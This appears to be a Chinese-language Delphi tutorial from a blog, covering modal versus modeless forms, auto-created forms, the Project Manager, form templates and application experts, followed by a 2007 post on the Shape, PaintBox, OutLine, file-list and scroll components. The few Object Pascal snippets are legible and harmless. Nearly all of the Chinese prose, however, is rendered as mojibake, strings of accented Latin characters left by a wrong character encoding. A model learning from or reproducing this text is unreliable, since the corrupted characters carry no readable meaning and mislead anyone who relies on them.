    ÏÂÃæ±à³ÌʵÏÖÖ÷´°Ìå¶ÔAbout¿òµÄÏÔʾ¿ØÖÆ¡£ºÜ¿ÉÄÜÔÚÉè¼ÆÊ±£¬Á½¸ö´°Ìå³öÏÖÖØµþ£¬Form1±»AboutÕÚס¡£ÓÃShift+F12²úÉúView Form¶Ô»°¿ò£¬¿ÉÒÔÑ¡Ôñ´°¿ÚµÄÃû×Ö£¬µ÷³öËùÐèµÄ´°ÌåForm1£¬Ë«»÷ÆäÉϵİ´Å¥²¿¼þ£¬ÔÚʼþ´¦Àí¹ý³Ì¼ÓÈëÒÔϵijÌÐò£º¡¡

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    Form2.Show;

    end;¡¡

    ÓÉÓÚForm1´°Ìåµ÷ÓÃAbout´°Ì壬ËùÒÔ±ØÐëÔÚForm1µÄ¿âµ¥Ôª³ÌÐòÖжÔÒýÓÃAbout½øÐÐ˵Ã÷¡£ÔÚUnit1µÄUsesºóÃæ¼ÓÈëAboutµÄ¿âµ¥ÔªÃûUnit2¡£ÔËÐгÌÐò£¬ÔÚÖ÷´°ÌåÉϰ´¶¯°´Å¥£¬¿ÉÒÔ³öÏÖAbout¿ò¡£ÔÚ¿òÍâµ¥»÷Êó±ê£¬»á»Øµ½Ö÷´°ÌåÖС£

    ÔÚAbout´°ÌåÖмÓÈëÒ»¸ö°´Å¥£¬²¢½«°´Å¥µÄModalResultÊôÐÔÉèÖÃΪmrOK£¬Í¬Ê±½«°´Å¥µÄ±êÇ©µÄCaption¸ÄΪOK¡£ÕâÑùÒ»¸öÓÐģʽµÄAbout¿òÒѾ­½¨³ÉÁË¡£½«´°ÌåForm1ÖÐButton1µÄOnClick´¦Àí¹ý³ÌµÄ´úÂë¸Ä±äÈçÏ£º¡¡

    Form2.ShowModal; ¡¡

    ÔÙÔËÐгÌÐò£¬³ýÁËÓëÉÏÊö¹¦ÄÜÏàͬÏÔʾAbout¶Ô»°¿òÍ⣬¸Ã³ÌÐòÖ»Óе±Óû§°´¶¯About¿òµÄ°´Å¥»ò±»About´°¿ØÖÆÍ¼±ê¹Ø±Õ´°¿Úºó£¬²Å»á»Øµ½Ö÷´°ÌåÖУ¬¶ø²»ÄÜÓëµÚÒ»¸ö´°Ìå·¢Éú½»»¥ÐÐΪ¡£Õâ¾ÍÊÇ·½·¨ShowºÍShowModalµÄÖ÷Òª²»Í¬Ö®´¦¡£¡¡

    1.5.1.2 Ö¸¶¨×Ô¶¯´´½¨´°Ìå¡¡

    ÉÏÃæÎÒÃǼòµ¥µØÉú³ÉÁËÒ»¸öº¬About¿òµÄË«´°ÌåÓ¦ÓóÌÐò£¬ÔËÐÐʱ£¬Ó¦ÓóÌÐòÆô¶¯Ê±½«×Ô¶¯´´½¨µÚ¶þ¸ö´°Ìå¡£´°Ìå±£³ÖÒþ±Î״̬£¬µ«ÈÔȻռÓÃWindowsµÄ×ÊÔ´¡£ÔÚ´óÐÍÓ¦ÓóÌÐòÖУ¬ÓÐʱ²»Ï£ÍûÔÚÓ¦ÓóÌÐò¼ÓÔØÊ±×Ô¶¯´´½¨ËùÓд°Ìå¡£Delphi¿ÉÒÔÖ¸¶¨ÄÄЩ´°Ìå±»×Ô¶¯´´½¨¡£

    Ñ¡ÓÃProject|Options£¬DelphiÏÔʾProject options¶Ô»°¿ò¡£Èç¹ûForms²»Êǵ±Ç°Ò³£¬°´¶¯Ï±êǩʹ֮¿É¼û¡£Èçͼ1.12Ëùʾ£º

    ͼʾΪDelphi×°ÔØµÄTextEditÀý³Ì(...\Delphi 2.0\Demos\doc\TextEdit.dpr)¡£ÔÚMainFormÕýÎÄ¿òÖÐÊäÈëÖ÷´°ÌåµÄÃû×Ö¡£µ±Ó¦ÓóÌÐòÆô¶¯Ê±£¬Ö÷´°Ìå×Ô¶¯´ò¿ª²¢»ñÈ¡ÊäÈë½¹µã¡£¶ÔMDIÓ¦Óã¬Ö÷´°ÌåµÄFormStyleÊôÐÔ±ØÐëÉèÖÃΪfsMDIForm¡£ÔÚAuto-created FormsÁбí¿òÖÐÁгöÁËÔÚÆô¶¯Ê±×Ô¶¯´´½¨µÄ´°Ì壬ȱʡʱ¹¤³ÌÎļþµÄËùÓд°Ìå¶¼ÔÚ´ËÁÐÖС£

    Èç¹û²»ÐèÒª×Ô¶¯´´½¨´°Ì壬ʹÓüýÍ·°´Å¥°Ñ´°ÌåÒÆ¶¯µ½Available FormsÁбí¿òÖС£×Ô¶¯´´½¨µÄ´°Ìå¿ÉÒÔÓÃShow·½·¨½øÐÐÏÔʾ£¬¶ø²»×Ô¶¯´´½¨Ê±£¬±ØÐë±à³ÌʵÏÖ´°ÌåµÄÏÔʾ¡£ÔÚTextEdit¹¤³ÌÖУ¬¶¨ÒåÒ»¸öTEditFormÀàÐ͵ıäÁ¿EditForm£¬Ê¹ÓÃÁËÒÔϵĴúÂëÏÔʾµÚ¶þ¸ö´°Ì壺

    Begin

    EditForm := TeditForm.Create(Self);

    EditForm.Open(OpenFileDialog.Filename);

    EditForm.Visible := True;

    End;

    Ò²¼´£¬±ØÐëʹÓÃCreate·½·¨´´½¨´°Ì壬ͬʱ½«´°ÌåµÄVisibleÊôÐÔÉèÎªÕæ¡£¡¡

    1.5.2 ʹÓù¤³Ì¹ÜÀíÆ÷Project Manager¡¡

    µ±´°ÌåµÄÊýÄ¿Öð²½Ôö¼Óʱ£¬¸ú×Ù´°ÌåÒÔ¼°ÓëÖ®ÏàÁ¬µÄ¿âµ¥Ôª´úÂë¾Í±äµÃ±È½Ï·³Ëö¡£ÓÃDelphiÌṩµÄ¹¤³Ì¹ÜÀíÆ÷Project Manager¿ÉÒÔʹµÃ¹ÜÀí¸÷ÖÖ´°¿Ú¸üΪ·½±ã¡£

    1.5.2.1 ¹¤³ÌÎļþµÄ×é³É¡¡

    ¹¤³Ì(project)ÊÇÕû¸öÓ¦ÓóÌÐòµÄÔ´Îļþ¼¯ºÏ£¬ÕâÑùµÄÎļþÒ»¹²ÓÐÈýÖÖ£º

    1.Ò»¸ö°üº¬Ö÷³ÌÐò²¿·ÖµÄ¹¤³ÌÎļþ£¬ÓÃÒÔÇý¶¯ÓÉDelphi´´½¨µÄWindows³ÌÐò£¬À©Õ¹ÃûΪ.DPR¡£ÕâÊÇÔÚÓû§µÄ¹¤³Ì±»×°ÔØÊ±¾ÍÔËÐеÄÈ«¾ÖÓ¦ÓóÌÐòÎļþ£¬ËüµÄÃû×Ö³öÏÖÔÚProject ManagerµÄ±êÌâÌõÉÏ¡£¹¤³ÌÎļþÒ»°ãÊÇDelphi×Ô¶¯´´½¨µÄ£¬ÓÃView|Project Source¿ÉÒÔµ÷³ö¸Ã¹¤³ÌµÄÔ´Îļþ£¬Èç¹ûÐèÒª£¬¿ÉÒÔ¶Ô¹¤³ÌÔ´Îļþ½øÐб༭¡£

    2.Ò»¸ö»ò¶à¸ö´°ÌåÎļþ£¬ËüÃǺ¬ÓÐÏàÓ¦µÄ¿âµ¥ÔªÎļþ¡£´°ÌåÎļþµÄÀ©Õ¹ÃûÊÇ.DFM¡£ÕâЩÎļþº¬×°ÔÚ´°ÌåÉϵĿØÖƲ¿¼þ¡£ÔÚDelphiÖÐÕâÑùµÄÎļþÊÇÔÚÓû§Éè¼Æ½çÃæµÄʱºòÓÉDelphi×Ô¶¯Éú³ÉµÄ£¬¶øÇÒ²»Äܱ༭¡£ÔÚDelphiÖУ¬Ò»¸öÓ¦ÓóÌÐòÖÁÉÙÐèÒªÒ»¸ö´°Ìå¡£

    3. Object Pascal¿â¿âµ¥ÔªÎļþ¡£ ËüÃǵÄÀ©Õ¹ÃûΪ.PAS¡£´°ÌåµÄ¿âµ¥ÔªÎļþ°üº¬Á˳ÌÐò²¿·Ö£¬ÓÃÒÔ¿ØÖÆ´°ÌåµÄÐÐΪ¡£ÔÚÒ»¸ö¹¤³ÌÖУ¬»¹Òª°üº¬¸½¼Ó¿âºÍ±»Ó¦ÓóÌÐòÆäËü²¿·Öµ÷ÓõÄÖ§³Ö×Ó³ÌÐò¡£uses×Ó¾äÖаüº¬µÄ±ê×¼¿âµ¥ÔªÎļþ°üº¬ÁËÖ§³Ö¿ÉÊÓ´°Ìå¼°Æä¿ØÖƵĶÔÏóÉùÃ÷¡£ÕâЩ¿âµ¥ÔªÒ²°üº¬ÁËÓÃÓÚ¼¤»î´°ÌåµÄʼþ´¦Àí¹ý³Ì³ÌÐò¡£¡¡

    1.5.2.2 ʹÓÃProject Manager½øÐй¤³Ì¹ÜÀí¡¡

    Ñ¡ÓÃView|Project Manager£¬»áµ÷³öProject Manager´°¿Ú¡£

    Project ManagerÖ÷Ì岿·ÖÁгöÁ˿ⵥԪÒÔ¼°Ïà¹ØÁªµÄ´°ÌåµÄ·¾¶£¬µ±¿âµ¥ÔªºÍ¹¤³ÌÔÚͬһĿ¼ÏÂʱ£¬Â·¾¶²»ÔÙÏÔʾ¡£Project Manager°üº¬ÁËÓ¦ÓóÌÐòµÄËùÓÐÔ´ÎļþºÍ´°¿Ú¡£²¢²»ÊÇÿһ¸ö¿âµ¥Ôª¶¼ÓµÓÐÒ»¸öÏà¹ØÁªµÄ´°Ìå¡£Project Manager¿ÉÒÔ×÷Ϊ¹¤³ÌµÄÒ»¸ö¼ò½ÝĿ¼¡£ÔÚÁгöµÄÈκÎÒ»¸ö´°Ìå»ò¿âµ¥ÔªÉÏË«»÷Êó±ê×ó¼ü£¬Delphi¾Í»á²úÉú´Ë¶ÔÏóµÄ´úÂë±à¼­Æ÷¡£

    Project Manager ´°¿ÚÉÏÓÐÔö¼Ó¡¢É¾³ý¶ÔÏóÒÔ¼°²é¿´¶ÔÏóµÄ¼ÓËÙ°´Å¥¡£Options¼ÓËÙ¼üÄܹ»´ò¿ªÇ°ÎÄËùÊöµÄProject Options¶Ô»°¿ò¡£Èç¹ûÔÚProject Manager´ò¿ªÊ±±à¼­Á˹¤³Ì¸÷ÎļþµÄÔ´´úÂ룬¿Éµ¥»÷Update¼ÓËÙÌõ°´Å¥Ë¢Ð¶ÔÏóÁÐ±í¡£¡¡

    1.5.3 ʹÓô°ÌåÑù°åºÍ¶Ô»°¿òר¼Ò¡¡

    ÔÚǰÎĵÄÀý³ÌÖУ¬ÎÒÃÇ´´½¨ÁËÒ»¸ö¼òµ¥µÄAbout¿ò¡£ÔںܶàÓ¦ÓóÌÐòÖУ¬¶¼»áÓõ½ÕâÖÖ½øÐÐÐÅÏ¢Ìáʾ»ò±íʾ°æ±¾ÐÅÏ¢µÄ¶Ô»°¿ò¡£DelphiµÄÉè¼ÆË¼ÏëÊÇÈí¼þ¿ÉÖØÓã¬ËùÒÔϵͳphiÒѾ­ÔØÈëÁËһЩÓû§¿ÉÖØ¸´Ó¦ÓõĴ°ÌåÑù°å¡£Ê¹Óô°ÌåÑù°å£¬¿ÉÒÔ¼òµ¥µØÉú³É¸÷ÖÖ¶Ô»°¿ò£¬½ÚÊ¡ÁË´óÁ¿µÄÖØ¸´¹¤×÷¡£¡¡

    1.5.3.1 ʹÓô°ÌåÑù°å´´½¨´°Ìå¡¡

    ´´½¨Ò»¸öй¤³Ìʱ£¬DelphiΪÓû§´´½¨ÁËÒ»¸öеĿմ°Ìå¡£Èç¹ûÐèҪʹÓÃÒ»¸ö´°ÌåÑù°å£¬Ïò¹¤³ÌÖÐÔö¼ÓÒ»¸ö´°Ì塣ѡÓÃFile|New£¬Delphi¼´»áÏÔʾNew Items¶Ô»°¿ò¡£ÔÚFormsÒ³ÉÏ£¬´ÓÑù°å¿âÖÐÑ¡ÔñÖÐÒâµÄд°ÌåÔö¼Óµ½¹¤³ÌÖС£ÀýÈ磬DelphiÌṩÁËAbout BoxÑù°å¡£Èç¹ûÑ¡ÔñËü£¬About¶Ô»°¿ò¾ÍÔö¼Óµ½¹¤³ÌÖУ¬Óû§Ö»Ðè¼ÓÈë×Ô¼ºµÄ¸÷ÖÖÐÅÏ¢¼´¿É£¬ÕâÑù¾Í¼ò»¯Á˹¤×÷¡£Í¬Ñù£¬Òª½¨Á¢Ò»¸ö¶Ô»°¿ò´°¿Ú£¬ÔÚDialogsÒ³ÉÏ£¬Ñ¡ÓÃËùÐèµÄ¶Ô»°¿òÑù°å£¬¿ÉÒÔ¼ò±ãµØ½¨Á¢ÆðËùÐèµÄ¶Ô»°¿ò´°¿Ú¡£

    1.5.3.2 ´æ´¢×Ô¼ºµÄ´°ÌåÑù°å¡¡

    Äú¿ÉÒÔÔÚÑù°å¿âÖд洢×Ô¼ºµÄ´°ÌåÑù°å¡£Ê×ÏÈ´´ÖÆÒ»¸ö´°ÌåµÄÑù±¾£¬ÔÚ´°ÌåÇøÓòÖе¥»÷Êó±êµÄÓÒ¼ü£¬¿ÉÒÔµ÷³ö´°ÌåµÄ¼ÓËٲ˵¥¡£Ñ¡ÓÃAdd To Repository...£¬½«µ¯³ö¶Ô»°¿ò¡£

    ÔÚFormsÁбí¿òÖУ¬Ñ¡ÔñÏëÒª´´½¨ÎªÑù°åµÄ´°Ìå¡£ÔÚTitleÊäÈë¿òÖÐÊäÈëÏëÒªÔÚÑù±¾¿âÄÚͼ±êϳöÏÖµÄÎı¾¡£ÔÚDescr¨©ptionÇø£¬ÊäÈë¹ØÓÚÑù°åµÄÏêϸ˵Ã÷¡£ÕâÑùÔÚä¯ÀÀÑù±¾¿âʱ£¬ÔÚ״̬ÐÐÉÏ»áÏÔʾÕâ¶ÎÎÄ×ÖÒÔ½øÐÐÌáʾ¡£¿ÉÒÔÑ¡ÔñÒ»¸öͼ±ê×÷Ϊд°ÌåÑù°åµÄͼ±ê£¬°´¶¯Browse°´Å¥£¬Ñ¡ÔñÒ»¸öÏÖÓÐͼ±êÀ´´ú±íеĴ°ÌåÑù°å¡£·ñÔò½«Ê¹Óð´Å¥×ó·½µÄȱʡ´°Ìåͼ±ê¡£°´OK°´Å¥£¬Delphi»áÒªÇóÄúÈ·ÈϽ«´°Ìå´æ´¢ÎªÑù°å¡£

    Ôٴδò¿ªNew Items¶Ô»°¿ò£¬Äú»á·¢ÏÖÄúµÄ´°ÌåÒѾ­±»´æ´¢³ÉÒ»¸ö´°ÌåÑù°å¡£¡¡

    1.5.3.3 ʹÓöԻ°¿òר¼ÒDialog Expert¡¡

    ¶Ô»°¿òÑù°å³ÊÏÖÁËÓѺýçÃæµÄ±»±£´æ¶Ô»°¿ò£¬¶ø¶Ô»°¿òר¼ÒÈ´Äܸù¾ÝÓû§ÌṩµÄÐÅÏ¢£¬ÖÇÄܵش´½¨¸´ÔӵĶԻ°¿ò¡£

    Ñ¡ÓÃFile|New...£¬ÔÚNew|ItemsµÄDialogҳѡÓÃDialogs Expert£¬Delphi½«Ìáʾ»Ø´ð¸÷ÖÖÎÊÌ⣬ÒÔ±ãÓÚ½¨Á¢¸´ÔӵĶԻ°¿ò¡£

    1.5.4 ʹÓù¤³ÌÑù°åºÍÓ¦ÓÃר¼Ò¡¡

    DelphiµÄ¹¤³ÌÑù°åÌṩԤÏÈÉè¼ÆµÄ¹¤³ÌÀ´×÷ΪӦÓóÌÐò¿ª·¢µÄÆðµã¡£¶øÓ¦ÓÃר¼ÒÔòÔÊÐíÓû§°´ÕÕÒ»¶¨µÄģʽÀ´´´½¨Ò»¸öÓ¦ÓóÌÐò¡£¡¡

    1.5.4.1 ʹÓù¤³ÌÑù°å¡¡

    µ±Äúͨ¹ýÒ»¸ö¹¤³ÌÑù°åÀ´¿ªÊ¼Ò»¸ö¹¤³Ìʱ£¬³ýÁ˿հ׹¤³ÌÑù°åÍ⣬¶¼»á±»ÒªÇóÖ¸¶¨Ò»¸öΨһµÄ×ÓĿ¼¼´¹¤³ÌĿ¼Project Directory£¬ÓÃÀ´´æ´¢ÐµĹ¤³Ì¡£Èç¹ûÄúÖ¸¶¨Ò»¸ö²»´æÔÚµÄĿ¼£¬Delphi»á°ïÖúÄúÉú³ÉËü¡£Äú¿ÉÒÔͨ¹ý¼ÓÈëеĴ°ÌåºÍ³ÌÐò¿âµ¥ÔªÀ´ÐÞ¸ÄËü£¬»ò²»¼ÓÐ޸ĵØÖ±½ÓÀûÓ㬶øÖ»ÊǼÓÈëÄúµÄʼþ´¦Àí¹ý³Ì¡£ÎÞÂÛÄúÈçºÎÐ޸ģ¬ÄúËù×÷µÄÐÞ¸ÄÖ»Ó°Ïìµ½´ò¿ªµÄ¹¤³Ì£¬Ô­ÏȵŤ³ÌÑù°å²»»áÊܵ½Ó°Ï죬¿ÉÔٴα»ÀûÓá£

    Ñ¡ÓÃFile|New£¬ÔÚNew Items¶Ô»°¿òÖÐÑ¡ÓÃProjectsÒ³£¬¿ÉÒÔÑ¡Ôñ½«MDI¡¢SDI¡¢Windows 95 LogoµÈÓ¦ÓóÌÐò×÷ΪȱʡµÄ¹¤³ÌÀàÐÍ£¬µã¶¯ËùÐ蹤³ÌµÄͼ±ê£¬Ê¹Ö®¸ßÁÁ¶ÈÏÔʾ£¬È»ºó°´OK°´Å¥¡£Èçͼ1.17Ëùʾ¡£ÔÚ½ÓÏÂÀ´µÄSelect Dictionary¶Ô»°¿òÖÐÖ¸¶¨Ò»¸öÓÃÀ´°üº¬ÐµĹ¤³ÌÎļþµÄĿ¼£¬ÔòÒ»¸ö¹¤³ÌÑù°åµÄ¸±±¾ÔÚÖ¸¶¨µÄĿ¼Öдò¿ª¡£

    1.5.4.2 ʹÓÃÓ¦ÓÃר¼ÒApplication Expert¡¡

    Ò»¸öÓ¦ÓÃר¼Ò¾ÍÊÇÒ»¸öÓ¦ÓóÌÐò£¬Ëü»áÒÀÕÕÄúÔÚһϵÁжԻ°¿òÖÐËùÉèÖõÄÑ¡ÏîÖµÀ´²úÉúÒ»¸ö¹¤³Ì¡£

    Èç¹ûÄúÏëÔÚ´ò¿ªÒ»¸ö¹¤³Ìʱ£¬ÀûÓÃÓ¦ÓÃר¼ÒÀ´È¡´ú¹¤³ÌÑù°å¶ø³ÉΪȱʡֵ£¬ÔòʹÓÃFile|New£¬ÔÚNew ItemsµÄProjectsÒ³ÉÏÑ¡ÓÃApplcation Expert¡£ÕâÑù£¬Ë«»÷ËüµÄͼ±ê£¬»áµ¯³öһϵÁжԻ°¿òÌáÎÊ£¬ÒªÇóÄúÑ¡ÔñÄúµÄ¹¤³ÌÊÇ·ñÐèÒªÒ»¸ö±ê×¼µÄWindows 95¶Ô»°¿ò¡¢º¬ÓÐÄÄЩ²Ëµ¥¡¢¼ÓËÙÌõµÈ¡£Í¼1.18ÊÇʹÓÃÓ¦ÓÃר¼Òºó³öÏֵĵÚÒ»¸ö¶Ô»°¿ò¡£

    Delphi »áÒªÇóÄúÊäÈëÄúµÄ¹¤³ÌÎļþÃû¼°Ëü´æ´¢µÄΨһĿ¼£¬²¢ÌáʾÄúÑ¡ÔñÓ¦ÓóÌÐòÊÇ·ñʹÓÃMDI´°¿Ú¡¢ÊÇ·ñº¬ÓÐ״̬ÐС¢ÌáʾµÈ¡£Ñ¡ÏîÉèÖÃÍê±Ï£¬°´¶¯Finish°´Å¥£¬Application Expert¼´°´ÕÕÄúµÄÒªÇ󣬽¨Á¢ÆðÒ»¸ö¿ÉÒÔÖ±½ÓÔËÐеŤ³ÌÎļþ¡£

  • µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨ËÄ£©

    2007-05-28 16:23:49

    1.3.4.2 Shape²¿¼þ¡¡

    ͼÐβ¿¼þShapeÔÚǰÎÄÖÐÎÒÃÇÒÑÓÐÁ˽⣬Ëü¿ÉÒÔ´¦Àí¶àÖÖ¼¸ºÎÐÎ×´£¬Í¨¹ýÉèÖÃPenºÍBrushµÄǶÌ×ÊôÐÔ£¬¿ÉÒÔÉèÖÃͼÐα߿òÑÕÉ«¡¢ÏßÐͼ°Í¼Ðεķç¸ñ¡¢Ìî³ä·½Ê½¡¢Ìùͼ·½Ê½µÈ¡£¡¡

    1.3.4.3 PaintBox²¿¼þ¡¡

    ÔÚSystemÒ³ÉÏ»¹ÓÐÒ»¸öPaintBox(»æÍ¼¿ò)²¿¼þ£¬ËüÔÚ´°ÌåÉÏΪÄúÌṩһ¿é¿É¹©»æÍ¼µÄÇøÓò¡£ÕâÒ»²¿¼þÐèÒª±à³ÌʵÏÖËüµÄ¹¦ÄÜ£¬Ò»¸öÖ»ÓÐÔÚÔËÐÐʱ²ÅÓÐЧµÄÖØÒªÊôÐÔCanvasÊÇÍê³É»æÍ¼µÄ¹Ø¼ü¡£PaintBox²¿¼þ²»Äܵ¥¶À´æÔÚÓÚ´°ÌåÖУ¬±ØÐë°ÑËü·ÅÔڹ̶¨µÄ·Ö×鲿¼þÖС£¡¡

    1.3.5 ¹ØÏµÍ¼¡¢ÎļþÁÐ±í²¿¼þ¡¡

    1.3.5.1 OutLine²¿¼þ¡¡

    OutLine(ÂÔͼ)²¿¼þÔÚWin 3.1Ò³ÉÏ£¬ËüÊÊÓÃÓÚÏÔʾ·Ö²ãµÄÊý¾Ý¡¢Îı¾¡£ÔÚDelphiÖУ¬ÂÔͼ²¿¼þ¾ßÓкܿíµÄÉèÖ÷¶Î§¡£ËüµÄLinesÊôÐÔ¿ÉÒÔÉèÖÃÿһ´ÊÌõµÄÎı¾»òÊý¾Ý¡£Ò»°ãÒ»¸ö¿Õ¸ñÏ൱ÓÚÒ»¸ö²ã´Î£¬Èç¹ûÔÚÏîĿǰ¼ÓÒ»¸ö¿Õ¸ñÔò±íʾËü´¦ÓÚÊ÷µÄÏÂÒ»²ã¡£ËùÒÔÔÚ½øÐÐLinesÊôÐԱ༭µÄʱºò²»ÄÜÓÃTab¼ü¡£ÔÚ±à³ÌʱÓÃLinesºÍItemsÊôÐÔÀ´·ÃÎÊÂÔͼµÄÃû³Æ¡¢Ë÷Òý¼°ÍêÕûµÄ·¾¶Ãû¡£OutLineStyleÊôÐÔÓÃÀ´ÅäÖÃÏÔʾʱ¹ØÏµÍ¼µÄ·ç¸ñ£¬Äú¿ÉÒÔÑ¡¶¨ÓÃÅÔ±ßÓÐͼ±êµÄËõ½ø·½Ê½£¬Ò²¿ÉÒÔÑ¡ÔñÁ¬Ïß·½Ê½¡£¡¡

    1.3.5.2 Ŀ¼·ÃÎʲ¿¼þ¡¡

    DelphiΪÄúÌṩÁËÇ¿´óµÄÎļþĿ¼·ÃÎʲ¿¼þ¡£Äú¿ÉÒÔÕë¶Ô¾ßÌåµÄÓÃ;Éè¼Æ×Ô¶¨ÒåµÄÎļþ¶Ô»°¿ò¡£ÔÚ²¿¼þÑ¡Ïî°åÉÏÑ¡ÖÐSystemÒ³£¬Äú½«·¢ÏÖÕâЩ²¿¼þ£¬ËüÃÇÊÇÎļþÁбí¿òFileListBox¡¢Ä¿Â¼Áбí¿òDirectoryListBox¡¢Çý¶¯Æ÷ÏÂÀ­Ê½Áбí¿òDriveComboBoxºÍ¹ýÂËʽÏÂÀ­Áбí¿òFilterComboBox²¿¼þ¡£

    ÎļþÁбí¿ò²¿¼þFileListBoxÏÔʾµ±Ç°Ä¿Â¼ÖеÄÎļþ£¬È±Ê¡µÄÉèÖÃÊÇÏÔʾËùÓÐÎļþ¡£Í¨¹ý¸Ä±äMaskÊôÐÔÀ´ÉèÖùýÂËÆ÷£¬¿ÉÒÔÊÊÓÃDOSµÄ±ê׼ͨÅ䷽ʽ£¬Ñ¡ÔñÒªÏÔʾµÄÎļþÃû¡£µ±Ö¸¶¨¶à¸ö¹ýÂËÆ÷ʱ£¬Ö®¼äÓá°;¡±¸ô¿ª¡£

    Ŀ¼Áбí¿ò²¿¼þDirectoryListBoxÏÔʾµ±Ç°Çý¶¯Æ÷ÄÚµÄĿ¼£¬²¢ÇÒÔÊÐíÓû§ÔÚ³ÌÐòÖ´ÐÐʱÇл»Ä¿Â¼¡£ColumnÊôÐÔ¾ö¶¨Ä¿Â¼ÔÚ´°¿ÚÖÐÓöàÉÙÁнøÐÐÏÔʾ£¬µ±´°Ìå¿Õ¼ä²»¹»Ê±£¬Óü¸ÁнøÐÐÏÔʾ½«ÓÐÖúÓÚÈ«ÃæµØÏÔʾĿ¼ÐÅÏ¢¡£ÔÚDelphiÖУ¬µ±´°¿Ú¿Õ¼äÏÔʾ²»ÏÂÈ«²¿ÐÅϢʱ£¬½«×Ô¶¯¼ÓÉϹöÐÐÌõ£¬ÒÔ·½±ãÓû§µÄ²Ù×÷¡£

    Çý¶¯Æ÷ÏÂÀ­Ê½Áбí¿ò²¿¼þDriveComboBoxÏÔʾµ±Ç°ËùÔÚµÄÇý¶¯Æ÷£¬²¢ÇÒÔÚÖ´ÐÐʱÔÊÐíÓû§ÔÚÇý¶¯Æ÷Ö®¼äÇл»¡£×÷Ϊ³ÌÐòÔ±ÔÚÓ¦ÓÃÕâÒ»²¿¼þʱ£¬Ó¦¿¼Âǵ±Óû§Ñ¡Ôñµ½²»´æÔÚµÄÇý¶¯Æ÷ʱ£¬½øÐÐÈÝ´í¡¢Ìáʾ´¦Àí¡£

    FilterComboBox(¹ýÂËʽÏÂÀ­ÎļþÁбí¿ò)²¿¼þÏÔʾµ±Ç°Îļþ¹ýÂËÆ÷ÀàÐÍ£¬ÀýÈç*.*£¬*.pasµÈ¡£ÔÚÖ´ÐÐʱÔÊÐíÓû§ÔÚÏÂÀ­ÁбíÖÐÑ¡ÔñÒªÏÔʾµÄÎļþÀàÐÍ¡£¶ÔFilterÊôÐÔ½øÐгõʼ»¯£¬¾Í»áµÃµ½ÏÂÀ­Ê½ÁÐ±í¡£

    ³ýÁËÒÔÉϵÄËĸö²¿¼þÍ⣬ÔÚSampleÒ³ÉÏ£¬Delphi»¹ÌṩÁËÒ»¸öĿ¼ÂÔͼ²¿¼þDirectoryOutline¡£Ëü½«µ±Ç°´ÅÅÌÖеÄĿ¼½á¹¹ÏÔʾ³ÉÒ»¸ö¶à²ã´ÎµÄÂÔͼ£¬Ò²ÔÊÐíÓû§ÔÚÔËÐÐʱ½øÐÐĿ¼µÄ²ã´ÎÏÔʾÇл»¡£¡¡

    1.3.6 ¹ö¶¯²¿¼þ¡¡

    1.3.6.1 ScrollBar²¿¼þ¡¡

    ScrollBar(¹öÐÐÌõ)ÊÇÔÚWindowsÓ¦ÓóÌÐòÖг£¼ûµÄ½á¹¹£¬ÔÚDelphiÖжàÊý²¿¼þÓÐ×Ô¼ºµÄÊÇ·ñ¼ÓÈë¹öÐÐÌõµÄÊôÐÔScrollBar£¬µ«Ò»¸ö¶ÀÁ¢µÄ¹öÐÐÌõ²¿¼þÈÔÊǺÜÓÐÒâÒåµÄ¡£ËüÔÚ²¿¼þÑ¡Ïî°åµÄStandardÒ³£¬ÌṩһÖÖ¿ÉÒԸıä²Ëµ¥»òÊÇ»­ÃæÖпɼû²¿·ÖµÄ¹¤¾ß£¬¿ÉÒÔÒÔÒ»¶¨µÄÔöÁ¿ÔÚÒ»¶¨·¶Î§ÄÚ¹ö¶¯¡£PositionÊôÐÔÊǸöÕûÐÎÖµ£¬Èç¹ûÐèÒªÒÔ¶¯Ì¬µÄ·½Ê½ÏÔʾ¹öÐÐÌõ£¬¿ÉÒÔÔÚ³ÌÐòÖÐͨ¹ý²Ù×÷ÕâÒ»ÊôÐÔÀ´ÊµÏÖ¡£¡¡

    1.3.6.2 ScrollBox²¿¼þ¡¡

    ScrollBox(¹ö¶¯¿ò)²¿¼þÊǼÓÉÏÁËˮƽ¡¢´¹Ö±¹öÐÐÌõµÄȺ×é¿ò²¿¼þ£¬ËüÔÚAdditionalÒ³ÉÏ£¬ÓÃ×÷ÔÚ´°ÌåÖÐÌṩһ¸ö¿ÉÒÔ¶à·½Ïò¹öÐеŤ¾ß¡£Èç¹ûÄúÖ»ÏëÏÔʾ½Ï´ó·ùÃæµÄÒ»¸ö²¿·Ö£¬²¢ÔÊÐíÄúµÄÓû§¶ÔÆä½øÐйöÐвÙ×÷£¬ScrollBar½«ÊÇÀíÏëµÄÑ¡Ôñ¡£Äú¿ÉÒÔÏÈÔÚÈ«·ùÃæµÄ¹ö¶¯¿òÖнøÐÐÈ«ÃæÉè¼Æ£¬È»ºóÊʵ±µØËõСÍâ¿ò£¬Á½¸ö·½ÏòµÄ¹öÐÐÌõ½«×Ô¶¯ÏÔʾ¡£ËüµÄPositionÊôÐÔÊǼ¯³ÉÔÚHorzScrollBarºÍVertScrollBarÁ½¸ö¼¯ÊôÐÔÏµģ¬±à³Ìʱ£¬¿ÉÒÔÑ¡¶¨ÕâÁ½¸öÊôÐÔ½øÐвÙ×÷¡£¡¡

    1.3.6.3 ¼¸¸ö½ø¶ÈÏÔʾ²¿¼þ¡¡

    ÔÚSystem¡¢Sample¡¢Win 95¡¢OCXµÈÒ³ÉÏ£¬Delphi»¹ÎªÓû§ÌṩÁ˼¸¸ö²¿¼þ£¬Íê³ÉÏÔʾ½ø¶È£¬ÔöÁ¿µÈ²Ù×÷¡£²¿¼þGauge¿ÉÒÔÏÔʾ³É³¤Ìõ×´µÄ»ò±ý×´µÄ½ø¶ÈָʾÒÇ±í¡£ÀýÈçÔÚ°²×°Èí¼þʱ£¬¿ÉÒÔ±à³ÌÈÃÕâÒ»²¿¼þÏÔʾĿǰ°²×°µÄ°Ù·Ö±È¡£

    ¡¡¡¡Î¢µ÷°´Å¥²¿¼þSpinButtonº¬ÓÐָʾÏòÉÏ¡¢ÏòϵÄÁ½¸ö°´Å¥£¬Ëü¿ÉÒÔÓÃÀ´µ÷½ÚÊýÖµ£¬Ê¹±»¿ØÖƵÄÖµ°´Ò»¶¨µÄÔöÁ¿µ¥Î»£¬ÓÉÓû§²Ù×÷µÝÔö»òµÝ¼õ¡£

